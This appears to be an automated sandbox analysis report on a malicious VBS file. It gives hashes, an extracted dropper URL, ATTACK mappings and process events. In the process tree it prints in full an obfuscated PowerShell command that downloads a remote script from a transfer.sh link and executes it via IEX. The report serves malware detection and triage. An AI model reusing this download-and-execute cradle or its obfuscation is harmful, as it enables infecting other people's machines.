9d8af568b0657ff10c735bce816033ce6f844aed1879f94ab6e1fee8a8da3677

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
04/02/2024, 04:57

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General

Target

8e44eb8b76e7cfe54abc30226f76b61f.vbs
Size

950B
MD5

8e44eb8b76e7cfe54abc30226f76b61f
SHA1

84bb3650430163978ef1918ba6edaee9a7705389
SHA256

9d8af568b0657ff10c735bce816033ce6f844aed1879f94ab6e1fee8a8da3677
SHA512

22bef15c37064a79bcaaca8648b7b52c221fb25b51473a52bf2ec5804c7f2927733183a9e676572b749bef073c733b47cbc08a1c23e462da879b671923c5bc0c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/1kqpOIu/bypass.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3024	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 3024	2060	WScript.exe	28
PID 2060 wrote to memory of 3024	2060	WScript.exe	28
PID 2060 wrote to memory of 3024	2060	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8e44eb8b76e7cfe54abc30226f76b61f.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transfer.sh/1kqpOIu/bypass.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3024-4-0x000000001B0B0000-0x000000001B392000-memory.dmp

Filesize
2.9MB

Download
memory/3024-5-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/3024-6-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-7-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3024-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/3024-9-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3024-10-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/3024-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download